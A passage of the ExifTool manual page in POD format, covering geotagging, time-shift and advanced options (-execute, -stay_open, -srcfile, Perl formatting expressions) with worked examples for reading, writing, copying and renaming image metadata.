destination metadata +format): GPSLatitude, GPSLatitudeRef, GPSLongitude, GPSLongitudeRef, +GPSAltitude, GPSAltitudeRef, GPSDateStamp, GPSTimeStamp, GPSDateTime, +GPSTrack, GPSTrackRef, GPSSpeed, GPSSpeedRef, GPSImgDirection, +GPSImgDirectionRef, GPSPitch, GPSRoll, GPSCoordinates, AmbientTemperature +and CameraElevationAngle. By default, in image files tags are created in +EXIF, and updated in XMP only if they already exist. In QuickTime-format +files GPSCoordinates is created in the preferred location (ItemList by +default) as well as in XMP. However, C<EXIF:Geotime>, C<XMP:Geotime> or +C<QuickTime:Geotime> may be specified to write to write only to one group. +Also, C<ItemList:Geotime>, C<Keys:Geotime> or C<UserData:Geotime> may be +used to write to a specific location in QuickTime-format files. Note that +GPSPitch and GPSRoll are non-standard, and require user-defined tags in +order to be written. + +The C<Geosync> tag may be used to specify a time correction which is applied +to each C<Geotime> value for synchronization with GPS time. For example, +the following command compensates for image times which are 1 minute and 20 +seconds behind GPS: + + exiftool -geosync=+1:20 -geotag a.log DIR + +Advanced C<Geosync> features allow a piecewise linear time drift correction +and synchronization from previously geotagged images. See "geotag.html" in +the full ExifTool distribution for more information. + +Multiple B<-geotag> options may be used to concatenate GPS track log data. +Also, a single B<-geotag> option may be used to load multiple track log +files by using wildcards in the I<TRKFILE> name, but note that in this case +I<TRKFILE> must be quoted on most systems (with the notable exception of +Windows) to prevent filename expansion. For example: + + exiftool -geotag "TRACKDIR/*.log" IMAGEDIR + +Currently supported track file formats are GPX, NMEA RMC/GGA/GLL, KML, IGC, +Garmin XML and TCX, Magellan PMGNTRK, Honeywell PTNTHPR, Bramor gEO, Winplus +Beacon TXT, and GPS/IMU CSV files. See L</GEOTAGGING EXAMPLES> for +examples. Also see "geotag.html" in the full ExifTool distribution and the +L<Image::ExifTool Options|Image::ExifTool/Options> for more details and for +information about geotag configuration options. + +The API Geolocation option may be set to the value "geotag" to also write +the name, province/state and country of the nearest city while geotagging. +See L<https://exiftool.org/geolocation.html> for details. + +=item B<-globalTimeShift> I<SHIFT> + +Shift all formatted date/time values by the specified amount when reading. +Does not apply to unformatted (B<-n>) output. I<SHIFT> takes the same form +as the date/time shift when writing (see +L<Image::ExifTool::Shift.pl|Image::ExifTool::Shift.pl> for details), with a +negative shift being indicated with a minus sign (C<->) at the start of the +I<SHIFT> string. For example: + + # return all date/times, shifted back by 1 hour + exiftool -globalTimeShift -1 -time:all a.jpg + + # set the file name from the shifted CreateDate (-1 day) for + # all images in a directory + exiftool "-filename<createdate" -globaltimeshift "-0:0:1 0:0:0" \ + -d %Y%m%d-%H%M%S.%%e dir + +=item B<-use> I<MODULE> + +Add features from specified plug-in I<MODULE>. Currently, the MWG module is +the only plug-in module distributed with exiftool. This module adds +read/write support for tags as recommended by the Metadata Working Group. As +a convenience, C<-use MWG> is assumed if the group name prefix starts with +C<MWG:> exactly for any requested tag. See the +L<MWG Tags documentation|Image::ExifTool::TagNames/MWG Tags> for more +details. Note that this option is not reversible, and remains in effect +until the application terminates, even across the B<-execute> option. + +=back + +=head3 Utilities + +=over 5 + +=item B<-restore_original> + +=item B<-delete_original>[!] + +These utility options automate the maintenance of the C<_original> files +created by exiftool. They have no effect on files without an C<_original> +copy. The B<-restore_original> option restores the specified files from +their original copies by renaming the C<_original> files to replace the +edited versions. For example, the following command restores the originals +of all JPG images in directory C<DIR>: + + exiftool -restore_original -ext jpg DIR + +The B<-delete_original> option deletes the C<_original> copies of all files +specified on the command line. Without a trailing C<!> this option prompts +for confirmation before continuing. For example, the following command +deletes C<a.jpg_original> if it exists, after asking "Are you sure?": + + exiftool -delete_original a.jpg + +These options may not be used with other options to read or write tag values +in the same command, but may be combined with options such B<-ext>, B<-if>, +B<-r>, B<-q> and B<-v>. + +=back + +=head3 Advanced options + +Among other things, the advanced options allow complex processing to be +performed from a single command without the need for additional scripting. +This may be particularly useful for implementations such as Windows +drag-and-drop applications. These options may also be used to improve +performance in multi-pass processing by reducing the overhead required to +load exiftool for each invocation. + +=over 5 + +=item B<-api> [I<OPT[[^]=[VAL]]>] + +Set ExifTool API option. I<OPT> is an API option name. The option value is +set to 1 if I<=VAL> is omitted. If I<VAL> is omitted, the option value is +set to undef if C<=> is used, or an empty string with C<^=>. If I<OPT> is +not specified a list of available options is returned. The option name is +not case senstive, but the option values are. See +L<Image::ExifTool Options|Image::ExifTool/Options> for option details. This +overrides API options set via the config file. Note that the exiftool app +sets some API options internally, and attempts to change these via the +command line will have no effect. + +=item B<-common_args> + +Specifies that all arguments following this option are common to all +executed commands when B<-execute> is used. This and the B<-config> option +are the only options that may not be used inside a B<-@> I<ARGFILE>. Note +that by definition this option and its arguments MUST come after all other +options on the command line. + +=item B<-config> I<CFGFILE> + +Load specified configuration file instead of the default ".ExifTool_config". +If used, this option must come before all other arguments on the command +line and applies to all B<-execute>'d commands. This file is used to create +user-defined tags as well as set default ExifTool options. The I<CFGFILE> +must exist relative to the current working directory or the exiftool +application directory unless an absolute path is specified. Loading of the +default config file may be disabled by setting I<CFGFILE> to an empty string +(ie. ""). See L<https://exiftool.org/config.html> and +config_files/example.config in the full ExifTool distribution for details +about the configuration file syntax. + +=item B<-echo>[I<NUM>] I<TEXT> + +Echo I<TEXT> to stdout (B<-echo> or B<-echo1>) or stderr (B<-echo2>). Text +is output as the command line is parsed, before the processing of any input +files. I<NUM> may also be 3 or 4 to output text (to stdout or stderr +respectively) after processing is complete. For B<-echo3> and B<-echo4>, +"${status}" may be used in the I<TEXT> string to represent the numerical +exit status of the command (see L</EXIT STATUS>). + +=item B<-efile>[I<NUM>][!] I<TXTFILE> + +Save the names of files giving errors (I<NUM> missing or 1), files that were +unchanged (I<NUM> is 2), files that fail the B<-if> condition (I<NUM> is 4), +files that were updated (I<NUM> is 8), files that were created (I<NUM> is +16), or any combination thereof by summing I<NUM> (eg. B<-efile3> is the +same has having both B<-efile> and B<-efile2> options with the same +I<TXTFILE>). By default, file names are appended to any existing I<TXTFILE>, +but I<TXTFILE> is overwritten if an exclamation point is added to the option +(eg. B<-efile!>). Saves the name of the file specified by the B<-srcfile> +option if applicable. + +=item B<-execute>[I<NUM>] + +Execute command for all arguments up to this point on the command line (plus +any arguments specified by B<-common_args>). The result is as if the +commands were executed as separate command lines (with the exception of the +B<-config> and B<-use> options which remain in effect for subsequent +commands). Allows multiple commands to be executed from a single command +line. I<NUM> is an optional number that is echoed in the "{ready}" message +when using the B<-stay_open> feature. If a I<NUM> is specified, the B<-q> +option no longer suppresses the output "{readyNUM}" message. + +=item B<-file>I<NUM> I<ALTFILE> + +Read tags from an alternate source file. Among other things, this allows +tags from different files to be compared and combined using the B<-if> and +B<-p> options. I<NUM> is any string of digits. Tags from alternate files +are accessed via the corresponding family 8 group name (eg. C<File1:TAG> for +the B<-file1> option, C<File2:TAG> for B<-file2>, etc). I<ALTFILE> may +contain filename formatting codes like the B<-w> option (%d, %f, etc), +and/or tag names with a leading C<$> symbol to access tags from the source +file in the same way as the B<-p> option (so any other dollar symbol in the +file name must be doubled, eg. C<money$$.jpg>). For example, assuming that +the OriginalFileName tag has been set in the edited file, a command to copy +Rights from the original file could look like this: + + exiftool -file1 '$originalfilename' '-rights<file1:rights' edited.jpg + +Subtle note: If a B<-tagsFromFile> option is used, tags in the I<ALTFILE> +argument come from the I<SRCFILE> that applies to the first argument +accessing tags from the corresponding C<FileNUM> group. + +User-defined Composite tags may access tags from alternate files using the +appropriate (case-sensitive) family 8 group name. + +=item B<-list_dir> + +List directories themselves instead of their contents. This option +effectively causes directories to be treated as normal files when reading +and writing. For example, with this option the output of the C<ls -la> +command on Mac/Linux may be approximated by this exiftool command: + + exiftool -list_dir -T -ls-l -api systemtags -fast5 .* * + +(The B<-T> option formats the output in tab-separated columns, B<-ls-l> is a +L<shortcut tag|Image::ExifTool::Shortcuts>, the API SystemTags option is +required to extract some necessary tags, and the B<-fast5> option is added +for speed since only system tags are being extracted.) + +=item B<-srcfile> I<FMT> + +Specify a different source file to be processed based on the name of the +original I<FILE>. This may be useful in some special situations for +processing related preview images or sidecar files. See the B<-w> option +for a description of the I<FMT> syntax. Note that file name I<FMT> strings +for all options are based on the original I<FILE> specified from the command +line, not the name of the source file specified by B<-srcfile>. + +For example, to copy metadata from NEF files to the corresponding JPG +previews in a directory where other JPG images may exist: + + exiftool -ext nef -tagsfromfile @ -srcfile %d%f.jpg dir + +If more than one B<-srcfile> option is specified, the files are tested in +order and the first existing source file is processed. If none of the +source files already exist, then exiftool uses the first B<-srcfile> +specified. + +A I<FMT> of C<@> may be used to represent the original I<FILE>, which may be +useful when specifying multiple B<-srcfile> options (eg. to fall back to +processing the original I<FILE> if no sidecar exists). + +When this option is used, two special UserParam tags (OriginalFileName and +OriginalDirectory) are generated to allow access to the original I<FILE> +name and directory. + +=item B<-stay_open> I<FLAG> + +If I<FLAG> is C<1> or C<True> (case insensitive), causes exiftool keep +reading from the B<-@> I<ARGFILE> even after reaching the end of file. This +feature allows calling applications to pre-load exiftool, thus avoiding the +overhead of loading exiftool for each command. The procedure is as follows: + +1) Execute C<exiftool -stay_open True -@ I<ARGFILE>>, where I<ARGFILE> is the +name of an existing (possibly empty) argument file or C<-> to pipe arguments +from the standard input. + +2) Write exiftool command-line arguments to I<ARGFILE>, one argument per +line (see the B<-@> option for details). + +3) Write C<-execute\n> to I<ARGFILE>, where C<\n> represents a newline +sequence. (Note: You may need to flush your write buffers here if using +buffered output.) ExifTool will then execute the command with the arguments +received up to this point, send a "{ready}" message to stdout when done +(unless the B<-q> or B<-T> option is used), and continue trying to read +arguments for the next command from I<ARGFILE>. To aid in command/response +synchronization, any number appended to the B<-execute> option is echoed in +the "{ready}" message. For example, C<-execute613> results in "{ready613}". +When this number is added, B<-q> no longer suppresses the "{ready}" message. +(Also, see the B<-echo3> and B<-echo4> options for additional ways to pass +signals back to your application.) + +4) Repeat steps 2 and 3 for each command. + +5) Write C<-stay_open\nFalse\n> (or C<-stay_open\n0\n>) to I<ARGFILE> when +done. This will cause exiftool to process any remaining command-line +arguments then exit normally. + +The input I<ARGFILE> may be changed at any time before step 5 above by +writing the following lines to the currently open I<ARGFILE>: + + -stay_open + True + -@ + NEWARGFILE + +This causes I<ARGFILE> to be closed, and I<NEWARGFILE> to be kept open. +(Without the B<-stay_open> here, exiftool would have returned to reading +arguments from I<ARGFILE> after reaching the end of I<NEWARGFILE>.) + +Note: When writing arguments to a disk file there is a delay of up to 0.01 +seconds after writing C<-execute\n> before exiftool starts processing the +command. This delay may be avoided by sending a CONT signal to the exiftool +process immediately after writing C<-execute\n>. (There is no associated +delay when writing arguments via a pipe with C<-@ ->, so the signal is not +necessary when using this technique.) + +=item B<-userParam> I<PARAM[[^]=[VAL]]> + +Set user parameter. I<PARAM> is an arbitrary user parameter name. This is +an interface to the API UserParam option (see the +L<Image::ExifTool Options|Image::ExifTool/Options> documentation), and +provides a method to access user-defined parameters in arguments to the +B<-if> and B<-p> options as if they were any other tag. Appending a hash +tag (C<#>) to I<PARAM> (eg. C<-userParam MyTag#=yes>) also causes the +parameter to be extracted as a normal tag in the UserParam group. Similar +to the B<-api> option, the parameter value is set to 1 if I<=VAL> is +omitted, undef if just I<VAL> is omitted with C<=>, or an empty string if +I<VAL> is omitted with C<^=>. + + exiftool -p '$test from $filename' -userparam test=Hello FILE + +=back + +=head3 Advanced formatting feature + +An advanced formatting feature allows modification of the value of any tag +interpolated within a B<-if> or B<-p> option argument, or a B<-tagsFromFile> +redirection string. Tag names within these strings are prefixed by a C<$> +symbol, and an arbitrary Perl expression may be applied to the tag value by +placing braces around the tag name and inserting the expression after the +name, separated by a semicolon (ie. C<${TAG;EXPR}>). The expression acts on +the value of the tag through the default input variable (C<$_>), and has +access to the full ExifTool API through the current ExifTool object +(C<$self>) and the tag key (C<$tag>). It may contain any valid Perl code, +including translation (C<tr///>) and substitution (C<s///>) operations, but +note that braces within the expression must be balanced. The example below +prints the camera Make with spaces translated to underlines, and multiple +consecutive underlines replaced by a single underline: + + exiftool -p '${make;tr/ /_/;s/__+/_/g}' image.jpg + +An C<@> may be added after the tag name to make the expression act on +individual list items for list-type tags, simplifying list processing. Set +C<$_> to undef to remove an item from the list. As an example, the +following command returns all subjects not containing the string "xxx": + + exiftool -p '${subject@;$_=undef if /xxx/}' image.jpg + +A default expression of C<tr(/\\?*:|"E<lt>E<gt>\0)()d> is assumed if the +expression is empty (ie. C<${TAG;}>). This removes the characters / \ ? * : +| E<lt> E<gt> and null from the printed value. (These characters are +illegal in Windows file names, so this feature is useful if tag values are +used in file names.) + +=head4 Helper functions + +C<DateFmt> + +Simplifies reformatting of individual date/time values. This function acts +on a standard EXIF-formatted date/time value in C<$_> and formats it +according to the specified format string (see the B<-d> option). To avoid +trying to reformat an already-formatted date/time value, a C<#> must be +added to the tag name (as in the example below) if the B<-d> option is also +used. For example: + + exiftool -p '${createdate#;DateFmt("%Y-%m-%d_%H%M%S")}' a.jpg + +C<ShiftTime> + +Shifts EXIF-formatted date/time string by a specified amount. Start with a +leading minus sign to shift backwards in time. See +L<Image::ExifTool::Shift.pl|Image::ExifTool::Shift.pl> for details about +shift syntax. For example, to shift a date/time value back by one year: + + exiftool -p '${createdate;ShiftTime("-1:0:0 0")}' a.jpg + +C<NoDups> + +Removes duplicate items from a list with a separator specified by the +B<-sep> option. This function is most useful when copying list-type tags. +For example, the following command may be used to remove duplicate Keywords: + + exiftool -sep '##' '-keywords<${keywords;NoDups}' a.jpg + +The B<-sep> option is necessary to split the string back into individual +list items when writing to a list-type tag. + +An optional flag argument may be set to 1 to cause C<NoDups> to set C<$_> to +undef if no duplicates existed, thus preventing the file from being +rewritten unnecessarily: + + exiftool -sep '##' '-keywords<${keywords;NoDups(1)}' a.jpg + +Note that function names are case sensitive. + +ExifTool 12.64 adds an API NoDups option which makes the NoDups helper +function largely redundant, with all the functionality except the ability to +avoid rewriting the file if there are no duplicates, but with the advantage +the duplicates may be removed when accumulating list items from multiple +sources. An equivalent to the above commands using this feature would be: + + exiftool -tagsfromfile @ -keywords -api nodups a.jpg + +C<SetTags> + +Used to set tags in extracted images. With no arguments, copies all tags +from the source file to the embedded image: + + exiftool -p '${previewimage;SetTags}' -b a.arw > preview.jpg + +Arguments may be added to copy or set specific tags. Arguments take exactly +the same form as those on the command line when copying or writing tags, +but without the leading dash. For example: + + exiftool -p '${previewimage;SetTags("comment=test","title<filename")}' ... + +=head1 WINDOWS UNICODE FILE NAMES + +In Windows, command-line arguments are specified using the current code page +and are recoded automatically to the system code page. This recoding is not +done for arguments in ExifTool arg files, so by default filenames in arg +files use the system code page. Unfortunately, these code pages are not +complete character sets, so not all file names may be represented. + +ExifTool 9.79 and later allow the file name encoding to be specified with +C<-charset filename=CHARSET>, where C<CHARSET> is the name of a valid +ExifTool character set, preferably C<UTF8> (see the B<-charset> option for a +complete list). Setting this triggers the use of Windows wide-character i/o +routines, thus providing support for most Unicode file names (see note 4). +But note that it is not trivial to pass properly encoded file names on the +Windows command line (see L<https://exiftool.org/faq.html#Q18> for details), +so placing them in a UTF-8 encoded B<-@> argfile and using +C<-charset filename=utf8> is recommended if possible. + +A warning is issued if a specified filename contains special characters and +the filename character set was not provided. However, the warning may be +disabled by setting C<-charset filename="">, and ExifTool may still function +correctly if the system code page matches the character set used for the +file names. + +When a directory name is provided, the file name encoding need not be +specified (unless the directory name contains special characters), and +ExifTool will automatically use wide-character routines to scan the +directory. + +The filename character set applies to the I<FILE> arguments as well as +filename arguments of B<-@>, B<-geotag>, B<-o>, B<-p>, B<-srcfile>, +B<-tagsFromFile>, B<-csv>=, B<-j>= and B<->I<TAG>E<lt>=. However, it does +not apply to the B<-config> filename, which always uses the system character +set. The C<-charset filename=> option must come before the B<-@> option to +be effective, but the order doesn't matter with respect to other options. + +Notes: + +1) FileName and Directory tag values still use the same encoding as other +tag values, and are converted to/from the filename character set when +writing/reading if specified. + +2) Unicode support is not yet implemented for other Windows-based systems +like Cygwin. + +3) See L</WRITING READ-ONLY FILES> below for a note about editing read-only +files with Unicode names. + +4) Unicode file names with surrogate pairs (code points over U+FFFF) still +cause problems. + +=head1 WRITING READ-ONLY FILES + +In general, ExifTool may be used to write metadata to read-only files +provided that the user has write permission in the directory. However, +there are three cases where file write permission is also required: + +1) When using the B<-overwrite_original_in_place> option. + +2) When writing only pseudo System tags (eg. FileModifyDate). + +3) On Windows if the file has Unicode characters in its name, and a) the +B<-overwrite_original> option is used, or b) the C<_original> backup already +exists. + +Hidden files in Windows behave as read-only files when attempting to write +any real tags to the file -- an error is generated when using the +B<-overwrite_original_in_place>, otherwise writing should be successful and +the hidden attribute will be removed. But the B<-if> option may be used to +avoid processing hidden files (provided Win32API::File is available): + + exiftool -if "$fileattributes !~ /Hidden/" ... + +=head1 READING EXAMPLES + +B<Note>: Beware when cutting and pasting these examples into your terminal! +Some characters such as single and double quotes and hyphens may have been +changed into similar-looking yet functionally-different characters by the +text formatter used to display this documentation. Also note that Windows +users must use double quotes instead of single quotes as below around +arguments containing special characters. + +=over 5 + +=item exiftool -a -u -g1 a.jpg + +Print all meta information in an image, including duplicate and unknown +tags, sorted by group (for family 1). For performance reasons, this command +may not extract all available metadata. (Metadata in embedded documents, +metadata extracted by external utilities, and metadata requiring excessive +processing time may not be extracted). Add C<-ee3> and C<-api RequestAll=3> +to the command to extract absolutely everything available. + +=item exiftool -common dir + +Print common meta information for all images in C<dir>. C<-common> is a +L<shortcut tag|Image::ExifTool::Shortcuts> representing common EXIF meta +information. + +=item exiftool -T -createdate -aperture -shutterspeed -iso dir > out.txt + +List specified meta information in tab-delimited column form for all images +in C<dir> to an output text file named "out.txt". + +=item exiftool -s -ImageSize -ExposureTime b.jpg + +Print ImageSize and ExposureTime tag names and values. + +=item exiftool -l -canon c.jpg d.jpg + +Print standard Canon information from two image files. + +=item exiftool -r -w .txt -common pictures + +Recursively extract common meta information from files in C<pictures> +directory, writing text output to C<.txt> files with the same names. + +=item exiftool -b -ThumbnailImage image.jpg > thumbnail.jpg + +Save thumbnail image from C<image.jpg> to a file called C<thumbnail.jpg>. + +=item exiftool -b -JpgFromRaw -w _JFR.JPG -ext NEF -r . + +Recursively extract JPG image from all Nikon NEF files in the current +directory, adding C<_JFR.JPG> for the name of the output JPG files. + +=item exiftool -a -b -W %d%f_%t%-c.%s -preview:all dir + +Extract all types of preview images (ThumbnailImage, PreviewImage, +JpgFromRaw, etc.) from files in directory "dir", adding the tag name to the +output preview image file names. + +=item exiftool -d '%r %a, %B %e, %Y' -DateTimeOriginal -S -s -ext jpg . + +Print formatted date/time for all JPG files in the current directory. + +=item exiftool -IFD1:XResolution -IFD1:YResolution image.jpg + +Extract image resolution from EXIF IFD1 information (thumbnail image IFD). + +=item exiftool '-*resolution*' image.jpg + +Extract all tags with names containing the word "Resolution" from an image. + +=item exiftool -xmp:author:all -a image.jpg + +Extract all author-related XMP information from an image. + +=item exiftool -xmp -b a.jpg > out.xmp + +Extract complete XMP data record intact from C<a.jpg> and write it to +C<out.xmp> using the special C<XMP> tag (see the Extra tags in +L<Image::ExifTool::TagNames|Image::ExifTool::TagNames>). + +=item exiftool -p '$filename has date $dateTimeOriginal' -q -f dir + +Print one line of output containing the file name and DateTimeOriginal for +each image in directory C<dir>. + +=item exiftool -ee3 -p '$gpslatitude, $gpslongitude, $gpstimestamp' a.m2ts + +Extract all GPS positions from an AVCHD video. + +=item exiftool -icc_profile -b -w icc image.jpg + +Save complete ICC_Profile from an image to an output file with the same name +and an extension of C<.icc>. + +=item exiftool -htmldump -w tmp/%f_%e.html t/images + +Generate HTML pages from a hex dump of EXIF information in all images from +the C<t/images> directory. The output HTML files are written to the C<tmp> +directory (which is created if it didn't exist), with names of the form +'FILENAME_EXT.html'. + +=item exiftool -a -b -ee -embeddedimage -W Image_%.3g3.%s file.pdf + +Extract embedded JPG and JP2 images from a PDF file. The output images will +have file names like "Image_#.jpg" or "Image_#.jp2", where "#" is the +ExifTool family 3 embedded document number for the image. + +=back + +=head1 WRITING EXAMPLES + +Note that quotes are necessary around arguments which contain certain +special characters such as C<E<gt>>, C<E<lt>> or any white space. These +quoting techniques are shell dependent, but the examples below will work for +most Unix shells. With the Windows cmd shell however, double quotes should +be used (eg. -Comment=E<34>This is a new commentE<34>). + +=over 5 + +=item exiftool -Comment='This is a new comment' dst.jpg + +Write new comment to a JPG image (replaces any existing comment). + +=item exiftool -comment= -o newdir -ext jpg . + +Remove comment from all JPG images in the current directory, writing the +modified images to a new directory. + +=item exiftool -keywords=EXIF -keywords=editor dst.jpg + +Replace existing keyword list with two new keywords (C<EXIF> and C<editor>). + +=item exiftool -Keywords+=word -o newfile.jpg src.jpg + +Copy a source image to a new file, and add a keyword (C<word>) to the +current list of keywords. + +=item exiftool -exposurecompensation+=-0.5 a.jpg + +Decrement the value of ExposureCompensation by 0.5 EV. Note that += with a +negative value is used for decrementing because the -= operator is used for +conditional deletion (see next example). + +=item exiftool -credit-=xxx dir + +Delete Credit information from all files in a directory where the Credit +value was C<xxx>. + +=item exiftool -xmp:description-de='kühl' -E dst.jpg + +Write alternate language for XMP:Description, using HTML character escaping +to input special characters. + +=item exiftool -all= dst.jpg + +Delete all meta information from an image. Note: You should NOT do this to +RAW images (except DNG) since proprietary RAW image formats often contain +information in the makernotes that is necessary for converting the image. + +=item exiftool -all= -comment='lonely' dst.jpg + +Delete all meta information from an image and add a comment back in. (Note +that the order is important: C<-comment='lonely' -all=> would also delete +the new comment.) + +=item exiftool -all= --jfif:all dst.jpg + +Delete all meta information except JFIF group from an image. + +=item exiftool -Photoshop:All= dst.jpg + +Delete Photoshop meta information from an image (note that the Photoshop +information also includes IPTC). + +=item exiftool -r -XMP-crss:all= DIR + +Recursively delete all XMP-crss information from images in a directory. + +=item exiftool '-ThumbnailImageE<lt>=thumb.jpg' dst.jpg + +Set the thumbnail image from specified file (Note: The quotes are necessary +to prevent shell redirection). + +=item exiftool '-JpgFromRawE<lt>=%d%f_JFR.JPG' -ext NEF -r . + +Recursively write JPEG images with filenames ending in C<_JFR.JPG> to the +JpgFromRaw tag of like-named files with extension C<.NEF> in the current +directory. (This is the inverse of the C<-JpgFromRaw> command of the +L</READING EXAMPLES> section above.) + +=item exiftool -DateTimeOriginal-='0:0:0 1:30:0' dir + +Adjust original date/time of all images in directory C<dir> by subtracting +one hour and 30 minutes. (This is equivalent to C<-DateTimeOriginal-=1.5>. +See L<Image::ExifTool::Shift.pl|Image::ExifTool::Shift.pl> for details.) + +=item exiftool -createdate+=3 -modifydate+=3 a.jpg b.jpg + +Add 3 hours to the CreateDate and ModifyDate timestamps of two images. + +=item exiftool -AllDates+=1:30 -if '$make eq E<34>CanonE<34>' dir + +Shift the values of DateTimeOriginal, CreateDate and ModifyDate forward by 1 +hour and 30 minutes for all Canon images in a directory. (The AllDates tag +is provided as a shortcut for these three tags, allowing them to be accessed +via a single tag.) + +=item exiftool -xmp:city=Kingston image1.jpg image2.nef + +Write a tag to the XMP group of two images. (Without the C<xmp:> this tag +would get written to the IPTC group since C<City> exists in both, and IPTC +is preferred by default.) + +=item exiftool -LightSource-='Unknown (0)' dst.tiff + +Delete C<LightSource> tag only if it is unknown with a value of 0. + +=item exiftool -whitebalance-=auto -WhiteBalance=tung dst.jpg + +Set C<WhiteBalance> to C<Tungsten> only if it was previously C<Auto>. + +=item exiftool -comment-= -comment='new comment' a.jpg + +Write a new comment only if the image doesn't have one already. + +=item exiftool -o %d%f.xmp dir + +Create XMP meta information data files for all images in C<dir>. + +=item exiftool -o test.xmp -owner=Phil -title='XMP File' + +Create an XMP data file only from tags defined on the command line. + +=item exiftool '-ICC_Profile<=%d%f.icc' image.jpg + +Write ICC_Profile to an image from a C<.icc> file of the same name. + +=item exiftool -hierarchicalkeywords='{keyword=one,children={keyword=B}}' + +Write structured XMP information. See L<https://exiftool.org/struct.html> +for more details. + +=item exiftool -trailer:all= image.jpg + +Delete any trailer found after the end of image (EOI) in a JPEG file. A +number of digital cameras store a large PreviewImage after the JPEG EOI, and +the file size may be reduced significantly by deleting this trailer. See +the L<JPEG Tags documentation|Image::ExifTool::TagNames/JPEG Tags> for a +list of recognized JPEG trailers. + +=back + +=head1 COPYING EXAMPLES + +These examples demonstrate the ability to copy tag values between files. + +=over 5 + +=item exiftool -tagsFromFile src.cr2 dst.jpg + +Copy the values of all writable tags from C<src.cr2> to C<dst.jpg>, writing +the information to same-named tags in the preferred groups. + +=item exiftool -TagsFromFile src.jpg -all:all dst.jpg + +Copy the values of all writable tags from C<src.jpg> to C<dst.jpg>, +preserving the original tag groups. + +=item exiftool -all= -tagsfromfile src.jpg -exif:all dst.jpg + +Erase all meta information from C<dst.jpg> image, then copy EXIF tags from +C<src.jpg>. + +=item exiftool -exif:all= -tagsfromfile @ -all:all -unsafe bad.jpg + +Rebuild all EXIF meta information from scratch in an image. This technique +can be used in JPEG images to repair corrupted EXIF information which +otherwise could not be written due to errors. The C<Unsafe> tag is a +shortcut for unsafe EXIF tags in JPEG images which are not normally copied. +See the L<tag name documentation|Image::ExifTool::TagNames> for more details +about unsafe tags. + +=item exiftool -Tagsfromfile a.jpg out.xmp + +Copy meta information from C<a.jpg> to an XMP data file. If the XMP data +file C<out.xmp> already exists, it will be updated with the new information. +Otherwise the XMP data file will be created. Only metadata-only files may +be created like this (files containing images may be edited but not +created). See L</WRITING EXAMPLES> above for another technique to generate +XMP files. + +=item exiftool -tagsFromFile a.jpg -XMP:All= -ThumbnailImage= -m b.jpg + +Copy all meta information from C<a.jpg> to C<b.jpg>, deleting all XMP +information and the thumbnail image from the destination. + +=item exiftool -TagsFromFile src.jpg -title -author=Phil dst.jpg + +Copy title from one image to another and set a new author name. + +=item exiftool -TagsFromFile a.jpg -ISO -TagsFromFile b.jpg -comment +dst.jpg + +Copy ISO from one image and Comment from another image to a destination +image. + +=item exiftool -tagsfromfile src.jpg -exif:all --subifd:all dst.jpg + +Copy only the EXIF information from one image to another, excluding SubIFD +tags. + +=item exiftool '-FileModifyDateE<lt>DateTimeOriginal' dir + +Use the original date from the meta information to set the same file's +filesystem modification date for all images in a directory. (Note that +C<-TagsFromFile @> is assumed if no other B<-TagsFromFile> is specified when +redirecting information as in this example.) + +=item exiftool -TagsFromFile src.jpg '-xmp:allE<lt>all' dst.jpg + +Copy all possible information from C<src.jpg> and write in XMP format to +C<dst.jpg>. + +=item exiftool '-Description<${FileName;s/\.[^.]*$//}' dir + +Set the image Description from the file name after removing the extension. +This example uses the L</Advanced formatting feature> to perform a +substitution operation to remove the last dot and subsequent characters from +the file name. + +=item exiftool -@ iptc2xmp.args -iptc:all= a.jpg + +Translate IPTC information to XMP with appropriate tag name conversions, and +delete the original IPTC information from an image. This example uses +iptc2xmp.args, which is a file included with the ExifTool distribution that +contains the required arguments to convert IPTC information to XMP format. +Also included with the distribution are xmp2iptc.args (which performs the +inverse conversion) and a few more .args files for other conversions between +EXIF, IPTC and XMP. + +=item exiftool -tagsfromfile %d%f.CR2 -r -ext JPG dir + +Recursively rewrite all C<JPG> images in C<dir> with information copied from +the corresponding C<CR2> images in the same directories. + +=item exiftool '-keywords+E<lt>make' image.jpg + +Add camera make to list of keywords. + +=item exiftool '-commentE<lt>ISO=$exif:iso Exposure=${shutterspeed}' dir + +Set the Comment tag of all images in C<dir> from the values of the EXIF:ISO +and ShutterSpeed tags. The resulting comment will be in the form "ISO=100 +Exposure=1/60". + +=item exiftool -TagsFromFile src.jpg -icc_profile dst.jpg + +Copy ICC_Profile from one image to another. + +=item exiftool -TagsFromFile src.jpg -all:all dst.mie + +Copy all meta information in its original form from a JPEG image to a MIE +file. The MIE file will be created if it doesn't exist. This technique can +be used to store the metadata of an image so it can be inserted back into +the image (with the inverse command) later in a workflow. + +=item exiftool -o dst.mie -all:all src.jpg + +This command performs exactly the same task as the command above, except +that the B<-o> option will not write to an output file that already exists. + +=item exiftool -b -jpgfromraw -w %d%f_%ue.jpg -execute -b -previewimage -w +%d%f_%ue.jpg -execute -tagsfromfile @ -srcfile %d%f_%ue.jpg +-overwrite_original -common_args --ext jpg DIR + +[Advanced] Extract JpgFromRaw or PreviewImage from all but JPG files in DIR, +saving them with file names like C<image_EXT.jpg>, then add all meta +information from the original files to the extracted images. Here, the +command line is broken into three sections (separated by B<-execute> +options), and each is executed as if it were a separate command. The +B<-common_args> option causes the C<--ext jpg DIR> arguments to be applied +to all three commands, and the B<-srcfile> option allows the extracted JPG +image to be the source file for the third command (whereas the RAW files are +the source files for the other two commands). + +=back + +=head1 RENAMING EXAMPLES + +By writing the C<FileName> and C<Directory> tags, files are renamed and/or +moved to new directories. This can be particularly useful and powerful for +organizing files by date when combined with the B<-d> option. New +directories are created as necessary, but existing files will not be +overwritten. The format codes %d, %f and %e may be used in the new file +name to represent the directory, name and extension of the original file, +and %c may be used to add a copy number if the file already exists (see the +B<-w> option for details). Note that if used within a date format string, +an extra '%' must be added to pass these codes through the date/time parser. +(And further note that in a Windows batch file, all '%' characters must also +be escaped, so in this extreme case '%%%%f' is necessary to pass a simple +'%f' through the two levels of parsing.) See +L<https://exiftool.org/filename.html> for additional documentation and +examples. + +=over 5 + +=item exiftool -filename=new.jpg dir/old.jpg + +Rename C<old.jpg> to C<new.jpg> in directory C<dir>. + +=item exiftool -directory=%e dir + +Move all files from directory C<dir> into directories named by the original +file extensions. + +=item exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir + +Move all files in C<dir> into a directory hierarchy based on year, month and +day of C<DateTimeOriginal>. eg) This command would move the file +C<dir/image.jpg> with a C<DateTimeOriginal> of C<2005:10:12 16:05:56> to +C<2005/10/12/image.jpg>. + +=item exiftool -o . '-Directory<DateTimeOriginal' -d %Y/%m/%d dir + +Same effect as above except files are copied instead of 